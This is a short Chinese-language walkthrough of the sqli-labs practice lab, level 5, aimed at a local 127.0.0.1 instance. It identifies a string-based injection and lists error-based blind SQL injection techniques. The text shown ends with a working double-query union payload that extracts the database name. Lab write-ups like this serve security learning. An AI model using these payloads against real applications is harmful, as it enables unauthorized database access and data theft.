正常访问
http://127.0.0.1/sqli-labs-master/less-5/?id=1
判断注入类型
http://127.0.0.1/sqli-labs-master/less-5/?id=1' and 1=2
根据报错可以知道是字符注入,使用 ' 进行闭合。
通过 ' 闭合查询无返回的数据,无论是有数据返回还是无数据返回页面都不会显示相关的数据。
所以这关的重点是盲注。
http://127.0.0.1/sqli-labs-master/less-5/?id=-1' %23
盲注分为三类:
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
1.双查询注入 原理链接
2.使用exp注入(版本在 5.5.5 及其以上)原理链接
3.使用bigint注入(版本在 5.5.5 及其以上)原理链接
4.extractvalue函数错误
5.updatexml函数错误
6.mysql 重复特性
手动注入个人倾向于用基于报错的SQL盲注,这关用的也是这种。
开始注入
1.双查询注入(需要多点几下才能出效果)
爆库名
http://127.0.0.1/sqli-labs-master/less-5/?id=1' union select 1, count(*), concat((select database()), floor(rand()*2)) a from information_schema.tables group by a %23